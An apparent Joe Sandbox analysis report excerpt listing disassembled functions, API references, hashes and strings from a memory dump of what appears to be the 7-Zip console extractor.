Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmallocmemmove
String ID:
API String ID: 3352498445-0
Opcode ID: a977c30e9b6c0c77fa91ba2bef927ebd8b73980ec7f1edacc1f00c6c713dab27
Instruction ID: 54e4bc12c39aba5360e07546d68f2cca1c938e25aacac2e28ac3013f2923e91b
Opcode Fuzzy Hash: a977c30e9b6c0c77fa91ba2bef927ebd8b73980ec7f1edacc1f00c6c713dab27
Instruction Fuzzy Hash: 438263322186C096CB36DF25E4913AFB364F78AB90F454126EB8D5BB59DF78C985CB00

Function 003347AC Relevance: 86.1, APIs: 56, Strings: 1, Instructions: 647
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00313314: memmove.MSVCRT ref: 00313339

free.MSVCRT ref: 003348E0
free.MSVCRT ref: 003348EE
free.MSVCRT ref: 003349B8
free.MSVCRT ref: 003349F1
free.MSVCRT ref: 003349FF
free.MSVCRT ref: 00334A0D
free.MSVCRT ref: 00334A18
free.MSVCRT ref: 00334A47
free.MSVCRT ref: 00334A4F
free.MSVCRT ref: 00334A5D
free.MSVCRT ref: 00335052

Part of subcall function 00313404: free.MSVCRT ref: 00313431
Part of subcall function 00313404: memmove.MSVCRT ref: 0031344C

free.MSVCRT ref: 00334C20
free.MSVCRT ref: 00334C2E
free.MSVCRT ref: 00334C3C
free.MSVCRT ref: 00334C47
free.MSVCRT ref: 00334C79
free.MSVCRT ref: 00334C81
free.MSVCRT ref: 00334C90
free.MSVCRT ref: 00334CB3
free.MSVCRT ref: 00334CC1
free.MSVCRT ref: 00334CCF
free.MSVCRT ref: 00334CDA
free.MSVCRT ref: 00334D0C
free.MSVCRT ref: 00334D14
free.MSVCRT ref: 00334D23
free.MSVCRT ref: 00334D76
free.MSVCRT ref: 00334D84
free.MSVCRT ref: 00334D92
free.MSVCRT ref: 00334D9D
free.MSVCRT ref: 00334DCC
free.MSVCRT ref: 00334DD4
free.MSVCRT ref: 00334DE3
GetLastError.KERNEL32 ref: 00334E70
free.MSVCRT ref: 00334EB2
free.MSVCRT ref: 00334EC0
free.MSVCRT ref: 00334ECE
free.MSVCRT ref: 00334ED9
free.MSVCRT ref: 00334F08
free.MSVCRT ref: 00334F10
free.MSVCRT ref: 00334F1F
free.MSVCRT ref: 00334FD5
free.MSVCRT ref: 00334FE3
free.MSVCRT ref: 00334FF1
free.MSVCRT ref: 00334FFC
free.MSVCRT ref: 0033502B
free.MSVCRT ref: 00335033
free.MSVCRT ref: 00335042
_CxxThrowException.MSVCRT ref: 0033510C
free.MSVCRT ref: 003351B9
free.MSVCRT ref: 003351C7
free.MSVCRT ref: 003351D5
free.MSVCRT ref: 003351E0
free.MSVCRT ref: 0033520F
free.MSVCRT ref: 00335217
free.MSVCRT ref: 00335226
free.MSVCRT ref: 00335234

Strings

Can not create output directory: , xrefs: 00334E83

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$memmove$ErrorExceptionLastThrow
String ID: Can not create output directory:
API String ID: 4159955631-3123869724
Opcode ID: 413c8c4aa713bf56841916301f3c023350d4de2d962ce64e83949b71d0a2ade2
Instruction ID: 43c94ad0b8cc35c30d9edb72a450404bb3aca34ad018a3f5bc5915829216161e
Opcode Fuzzy Hash: 413c8c4aa713bf56841916301f3c023350d4de2d962ce64e83949b71d0a2ade2
Instruction Fuzzy Hash: 90426032219AC096CA36EF25E4903EFA361F7CA780F555222DB8D57B19DF38C995CB00

Function 00335458 Relevance: 74.2, APIs: 47, Strings: 2, Instructions: 702
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 0033558E
_CxxThrowException.MSVCRT ref: 003355C2
_CxxThrowException.MSVCRT ref: 003355E6
memset.MSVCRT ref: 0033561F
free.MSVCRT ref: 003356F2
free.MSVCRT ref: 00335F84

Strings

there is no such archive, xrefs: 003355A4, 00335EF9
can't decompress folder, xrefs: 003355C8

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$ExceptionThrow$memset
String ID: can't decompress folder$there is no such archive
API String ID: 4182836161-2069749860
Opcode ID: ce4216a456ecfb562eed58e09bd1e089566f6c8440c9455ca6f18eb35ebed729
Instruction ID: fef54b3357312880f96a59c38f69570c5a6be53a5566ad8f5c035858ab2d73f0
Opcode Fuzzy Hash: ce4216a456ecfb562eed58e09bd1e089566f6c8440c9455ca6f18eb35ebed729
Instruction Fuzzy Hash: 05525D32209AC096CA25DF25E4843EFB764F78AB94F455222DF9E57B25DF38C895CB00

Function 0033F13E Relevance: 59.4, APIs: 47, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eadb98abd82e25e36940fb318a204b117e1ed3c7f246080696e62d728c723bb
Instruction ID: b427b5c6f5a52555d87667ce5fce790d8576b1eb545b8cb7aedde1026981e265
Opcode Fuzzy Hash: 5eadb98abd82e25e36940fb318a204b117e1ed3c7f246080696e62d728c723bb
Instruction Fuzzy Hash: C742843B609AC08ACB26EF25D0906AF7765F7CAB88F561121EB5E4BB15CF38C495C700

Function 00320DCC Relevance: 51.4, APIs: 17, Strings: 12, Instructions: 652COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00320E15
free.MSVCRT ref: 00320E4E
_CxxThrowException.MSVCRT ref: 00320E7A
free.MSVCRT ref: 00320EBD
wcscmp.MSVCRT ref: 00320F33
_CxxThrowException.MSVCRT ref: 00320F9B
_CxxThrowException.MSVCRT ref: 0032112A
_CxxThrowException.MSVCRT ref: 003213AC
_CxxThrowException.MSVCRT ref: 003214D3
_CxxThrowException.MSVCRT ref: 003215E3
_CxxThrowException.MSVCRT ref: 00321730
_CxxThrowException.MSVCRT ref: 00321761
_CxxThrowException.MSVCRT ref: 003217A2
_CxxThrowException.MSVCRT ref: 00321801
_CxxThrowException.MSVCRT ref: 0032186B
_CxxThrowException.MSVCRT ref: 00321171

Part of subcall function 003163D0: free.MSVCRT ref: 00316440
Part of subcall function 003163D0: free.MSVCRT ref: 00316448

_CxxThrowException.MSVCRT ref: 003218F2

Strings

I won't write compressed data to a terminal, xrefs: 00321741
stdout mode and email mode cannot be combined, xrefs: 00321710
-ai switch is not supported for this command, xrefs: 003215C3
Archive name cannot by empty, xrefs: 00321151
I won't write data and program's messages to same stream, xrefs: 003214B3, 00321782
Unsupported -spf:, xrefs: 00320F7E
Incorrect Number of benmchmark iterations, xrefs: 00321847
Only one archive can be created with rename command, xrefs: 003217E1
The command must be specified, xrefs: 00320DF5
Unsupported command:, xrefs: 00320E57
Cannot use absolute pathnames for this command, xrefs: 0032138C
Cannot find archive name, xrefs: 0032110A

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: ExceptionThrow$free$wcscmp
String ID: -ai switch is not supported for this command$Archive name cannot by empty$Cannot find archive name$Cannot use absolute pathnames for this command$I won't write compressed data to a terminal$I won't write data and program's messages to same stream$Incorrect Number of benmchmark iterations$Only one archive can be created with rename command$The command must be specified$Unsupported -spf:$Unsupported command:$stdout mode and email mode cannot be combined
API String ID: 1252877886-1892825451
Opcode ID: 2d54ac1d442180f274b4e0e09de258fcbcbabc9e13662fdbd6c082bf20b8ab4a
Instruction ID: f26d39e30cc203cb5ff89fd17c5f0d4954d42b289d78a6d748ec6a6086689e2f
Opcode Fuzzy Hash: 2d54ac1d442180f274b4e0e09de258fcbcbabc9e13662fdbd6c082bf20b8ab4a
Instruction Fuzzy Hash: F65204773086C1A6DB2ECF29E1903EEBB61F395744F498016DB9907B22DB79D5A8C700

Function 00321D04 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00321D12
CloseHandle.KERNEL32 ref: 00321D25
OpenProcessToken.ADVAPI32 ref: 00321D48
LookupPrivilegeValueW.ADVAPI32 ref: 00321D70
AdjustTokenPrivileges.KERNELBASE ref: 00321D93
CloseHandle.KERNEL32 ref: 00321DA7
GetLastError.KERNEL32 ref: 00321DB1
CloseHandle.KERNELBASE ref: 00321DC6

Strings

SeSecurityPrivilege, xrefs: 00321D57

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: CloseHandle$ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
String ID: SeSecurityPrivilege
API String ID: 1313864721-2333288578
Opcode ID: 2923db911ffe3ad089c3a4e31a474f10bd7caa2875252cb64e8c2824bd01d802
Instruction ID: d1550ff9da4b8b75a2aa84dbcbe74817868a6207b0c6e1c696d0435feb427160
Opcode Fuzzy Hash: 2923db911ffe3ad089c3a4e31a474f10bd7caa2875252cb64e8c2824bd01d802
Instruction Fuzzy Hash: A3115472204F44C6DA02DB22FE5437AB3AAFBD4785F950512EA8B43AA4CF3CD645C710

Function 0031AC74 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 0031AC84
OpenProcessToken.ADVAPI32 ref: 0031AC95
LookupPrivilegeValueW.ADVAPI32 ref: 0031ACA9
AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?,?,FFFFFFFF,?,0031F928), ref: 0031ACE0
GetLastError.KERNEL32(?,?,?,?,?,?,?,FFFFFFFF,?,0031F928), ref: 0031ACEA
CloseHandle.KERNELBASE ref: 0031ACFA

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
Instruction ID: f8205e13b2f7f1ee647ec1ecec29cecbe3159e4be9cc6664804b11e633e431cb
Opcode Fuzzy Hash: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
Instruction Fuzzy Hash: 60018062614E818BDB118F70FC8479A7365F784B86F544135EB4A83A64CF3CC689CB00

Function 00317978 Relevance: 4.6, APIs: 3, Instructions: 70fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0031794C: FindClose.KERNELBASE ref: 0031795E

FindFirstFileW.KERNELBASE ref: 003179BA

Part of subcall function 0031339C: free.MSVCRT ref: 003133D7
Part of subcall function 0031339C: memmove.MSVCRT(00000000,?,?,00000000,003110A8), ref: 003133F2

FindFirstFileW.KERNELBASE ref: 003179FA
free.MSVCRT ref: 00317A08

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: Find$FileFirstfree$Closememmove
String ID:
API String ID: 2921071498-0
Opcode ID: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
Instruction ID: b1fc3360b440096ecb456f62ada81098945e8c8ff8977e7a73358f88ca4f03cc
Opcode Fuzzy Hash: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
Instruction Fuzzy Hash: 25213E76208A808ACB26DF24E44039D6375F78A7B8F544720EAB9477D8DF38CA89C700

Function 00324418 Relevance: 221.1, APIs: 132, Strings: 14, Instructions: 2096COMMON

Download Yara Rule

Strings

Can not rename existing file, xrefs: 0032592F
\??\, xrefs: 0032485F
Internal error for symbolic link file, xrefs: 00325EFB
h3, xrefs: 00324DF7
Can not create hard link, xrefs: 00325E04, 003261B7
Can not delete output folder, xrefs: 00325A0E
Incorrect path, xrefs: 00325D6E
Can not delete output file, xrefs: 00325AD5
Can not create file with auto name, xrefs: 00325796, 00325867
Can not set length for output file, xrefs: 003263C0
Can not open output file, xrefs: 003262D7
Can not seek to begin of file, xrefs: 0032642F
Can not create symbolic link, xrefs: 00325FAB
Dangerous link path was ignored, xrefs: 00325CC1

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID:
String ID: h3$Can not create file with auto name$Can not create hard link$Can not create symbolic link$Can not delete output file$Can not delete output folder$Can not open output file$Can not rename existing file$Can not seek to begin of file$Can not set length for output file$Dangerous link path was ignored$Incorrect path$Internal error for symbolic link file$\??\
API String ID: 0-2163600657
Opcode ID: 619308cd5c84a58143f6d60b4711cd903356f34d35ac1546f55c71045c053aa2
Instruction ID: 752931a26ceb2241e3a4f15d52cdad61c1e052825c45b86508281dc3285a9cc5
Opcode Fuzzy Hash: 619308cd5c84a58143f6d60b4711cd903356f34d35ac1546f55c71045c053aa2
Instruction Fuzzy Hash: C503A132208A9096CA36EB25F4916EFB721F7CABC0F554112DB9E4BB25DF79C985C700

Function 0035950D Relevance: 116.2, APIs: 48, Strings: 18, Instructions: 748
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 003597B9
free.MSVCRT ref: 003597C1
free.MSVCRT ref: 003597D3
free.MSVCRT ref: 003597E0
free.MSVCRT ref: 003597EE
free.MSVCRT ref: 00359809
free.MSVCRT ref: 0035996E
free.MSVCRT ref: 00359976
free.MSVCRT ref: 00359988
free.MSVCRT ref: 00359995
free.MSVCRT ref: 003599A3
free.MSVCRT ref: 003599C0
free.MSVCRT ref: 003599CD
fputs.MSVCRT ref: 00359A02
fputs.MSVCRT ref: 00359A12
_CxxThrowException.MSVCRT ref: 00359A3A

Part of subcall function 00312300: fputc.MSVCRT ref: 00312311

_CxxThrowException.MSVCRT ref: 0035A5E1
free.MSVCRT ref: 0035A5EF
free.MSVCRT ref: 0035A61C
free.MSVCRT ref: 0035A62E
free.MSVCRT ref: 0035A696
free.MSVCRT ref: 0035A69E
free.MSVCRT ref: 0035A6B0

Part of subcall function 00313518: free.MSVCRT ref: 00313551

Strings

Alternate Streams Size: , xrefs: 0035A250
Warnings: , xrefs: 0035A0F0
Incorrect command line, xrefs: 00359A0B
Can't open as archive: , xrefs: 0035A03F
Files: , xrefs: 0035A1F6
Archives with Warnings: , xrefs: 0035A0AF
Archives with Errors: , xrefs: 0035A07A
Alternate Streams: , xrefs: 0035A228
Archives: , xrefs: 00359FE1
7zCon.sfx, xrefs: 00359543
Open Errors: , xrefs: 0035A138
OK archives: , xrefs: 0035A008
Folders: , xrefs: 0035A1A8
ERROR: , xrefs: 003599FB
ERROR:, xrefs: 00359F89
Size: , xrefs: 0035A278
Sub items Errors: , xrefs: 0035A2FB
Compressed: , xrefs: 0035A2A3

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$ExceptionThrowfputs$fputc
String ID: 7zCon.sfx$Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$ERROR: $Files: $Folders: $Incorrect command line$OK archives: $Open Errors: $Size: $Sub items Errors: $Warnings:
API String ID: 1639683984-435538426
Opcode ID: bd9f2b28495a3b62c3d481a4c9c43d8556660cff06a10aff3bafa4e3683c7a09
Instruction ID: 6407fefa87ea117db739ddcb17c8439c202fb7d85cb6b864cc973803cf4908d8
Opcode Fuzzy Hash: bd9f2b28495a3b62c3d481a4c9c43d8556660cff06a10aff3bafa4e3683c7a09
Instruction Fuzzy Hash: 9B72BF76309AC095CA36EF20E4807DFB3A4F78A781F404526DA9E47B29DF38C599CB41

Function 00359B5D Relevance: 84.5, APIs: 33, Strings: 15, Instructions: 507
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 00359B6B

Part of subcall function 00312300: fputc.MSVCRT ref: 00312311

free.MSVCRT ref: 00359C12

Strings

Alternate Streams Size: , xrefs: 0035A250
Warnings: , xrefs: 0035A0F0
Can't open as archive: , xrefs: 0035A03F
Files: , xrefs: 0035A1F6
Archives with Warnings: , xrefs: 0035A0AF
Archives with Errors: , xrefs: 0035A07A
Alternate Streams: , xrefs: 0035A228
Archives: , xrefs: 00359FE1
Open Errors: , xrefs: 0035A138
OK archives: , xrefs: 0035A008
Folders: , xrefs: 0035A1A8
Scanning the drive for archives:, xrefs: 00359B64
ERROR:, xrefs: 00359F89
Size: , xrefs: 0035A278
Compressed: , xrefs: 0035A2A3

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: fputcfputsfree
String ID: Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$Files: $Folders: $OK archives: $Open Errors: $Scanning the drive for archives:$Size: $Warnings:
API String ID: 2822829076-727241755
Opcode ID: fc6ea5868805d76338b3faf932c3aa06514698a3480bc4cc48a2eddf149bc62d
Instruction ID: 84bd7ac170cec60254dea194349589c50ac58eec572b7a80bc250114a62f23b4
Opcode Fuzzy Hash: fc6ea5868805d76338b3faf932c3aa06514698a3480bc4cc48a2eddf149bc62d
Instruction Fuzzy Hash: 5F228E36309AC195CA3AEF21E4907DEB3A0F789B81F444522DB9E47B29DF38C599C701

Function 0033A180 Relevance: 47.6, APIs: 23, Strings: 4, Instructions: 342
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 0033A1BF
GetProcAddress.KERNEL32 ref: 0033A1D2
GetProcAddress.KERNEL32 ref: 0033A1F5
GetProcAddress.KERNEL32 ref: 0033A21E

Strings

GetIsArc, xrefs: 0033A1C8
GetNumberOfFormats, xrefs: 0033A1EB
GetHandlerProperty2, xrefs: 0033A1B5
GetHandlerProperty, xrefs: 0033A214

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: AddressProc
String ID: GetHandlerProperty$GetHandlerProperty2$GetIsArc$GetNumberOfFormats
API String ID: 190572456-3984264347
Opcode ID: 73fef0eb24d6ff44d8697e840df78f3fac1608cd30a242a31fa2bdb042e46f71
Instruction ID: a9cb1d5832fb5ae535e8d364b1be25fe19ac92eb5c93927c015a11aa452479df
Opcode Fuzzy Hash: 73fef0eb24d6ff44d8697e840df78f3fac1608cd30a242a31fa2bdb042e46f71
Instruction Fuzzy Hash: C0D15372319AC096C622EB21E88179FB7A4F7CA780F445521EACE4BB69DF7CC545CB01

Function 003170C8 Relevance: 40.7, APIs: 27, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00317D4C: GetFileAttributesW.KERNELBASE ref: 00317D6E
Part of subcall function 00317D4C: GetFileAttributesW.KERNEL32 ref: 00317DA5
Part of subcall function 00317D4C: free.MSVCRT ref: 00317DB2

free.MSVCRT ref: 003173F6

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: AttributesFilefree
String ID:
API String ID: 1936811914-0
Opcode ID: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
Instruction ID: 49f564f88ccfc4769d365248d9cbc92636c7cd4651159d9ef8e46b1e33492ca6
Opcode Fuzzy Hash: 2b197326d930c81739ce0310d85795b3f658fd51b37e5abb9d2da20ad921631d
Instruction Fuzzy Hash: 1981581221C54196CA2AEF22E4512EF6331FBCE744F481522FA4E87B65DE38C9D6D740

Function 00317EBC Relevance: 37.2, APIs: 18, Strings: 3, Instructions: 418
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 0031812F
free.MSVCRT ref: 0031816A
free.MSVCRT ref: 0031817F
free.MSVCRT ref: 00318232

Part of subcall function 0031ABB0: GetModuleHandleW.KERNEL32 ref: 0031ABD1
Part of subcall function 0031ABB0: GetProcAddress.KERNEL32 ref: 0031ABE1
Part of subcall function 0031ABB0: GetDiskFreeSpaceW.KERNEL32 ref: 0031AC32

SetLastError.KERNEL32 ref: 0031818F
free.MSVCRT ref: 0031819B
free.MSVCRT ref: 003181A6
free.MSVCRT ref: 003181BB
free.MSVCRT ref: 00318243
free.MSVCRT ref: 0031824E
free.MSVCRT ref: 0031815F

Part of subcall function 0031339C: free.MSVCRT ref: 003133D7
Part of subcall function 0031339C: memmove.MSVCRT(00000000,?,?,00000000,003110A8), ref: 003133F2

Strings

:$DATA, xrefs: 00318030, 00318040
\, xrefs: 00317F44
:, xrefs: 00317F3A

Memory Dump Source

Source File: 00000009.00000002.2252484179.0000000000311000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00310000, based on PE: true

Associated: 00000009.00000002.2252462709.0000000000310000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252523994.000000000035F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252551941.000000000037C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000009.00000002.2252574891.000000000037F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_310000_7z.jbxd

Similarity

API ID: free$AddressDiskErrorFreeHandleLastModuleProcSpacememmove
String ID: :$:$DATA$\
API String ID: 4130059181-1004618218
Opcode ID: 7d47eded2622c94f0ddccb54c994b41fb8cf36bc1bcc716852e6415c4a0d71d6
Instruction ID: 22ffc46e13067304baa7790248a948340896eab4e9a0245d5288fe8169243189
Opcode Fuzzy Hash: 7d47eded2622c94f0ddccb54c994b41fb8cf36bc1bcc716852e6415c4a0d71d6
Instruction Fuzzy Hash: 33027E32505680AACB2ADF29D4902EEB770F79D350F444226E79E4BB68DF34C5E6CB44

Function 00353E84 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 00353ED4

Part of subcall function 00352E24: fputs.MSVCRT ref: 00352E47
Part of subcall function 00352E24: fputs.MSVCRT ref: 00352E57

fputs.MSVCRT ref: 00353F0F

Part of subcall function 00312300: fputc.MSVCRT ref: 00312311

free.MSVCRT ref: 00353F4C
fputs.MSVCRT ref: 00353FAA
fputs.MSVCRT ref: 00353FBA
fputs.MSVCRT ref: 00354003
fputs.MSVCRT ref: 00354013
SysFreeString.OLEAUT32 ref: 003540A1
fputs.MSVCRT ref: 003540C9
SysFreeString.OLEAUT32 ref: 0035418B
SysFreeString.OLEAUT32 ref: 003541C2

Strings

Path, xrefs: 00353EE4
----, xrefs: 003540C2
--, xrefs: 00353ECD
= , xrefs: 00353FB3, 0035400C
Type, xrefs: 00353F76
Warning: The archive is open with offset, xrefs: 00353F08

Memory Dump Source

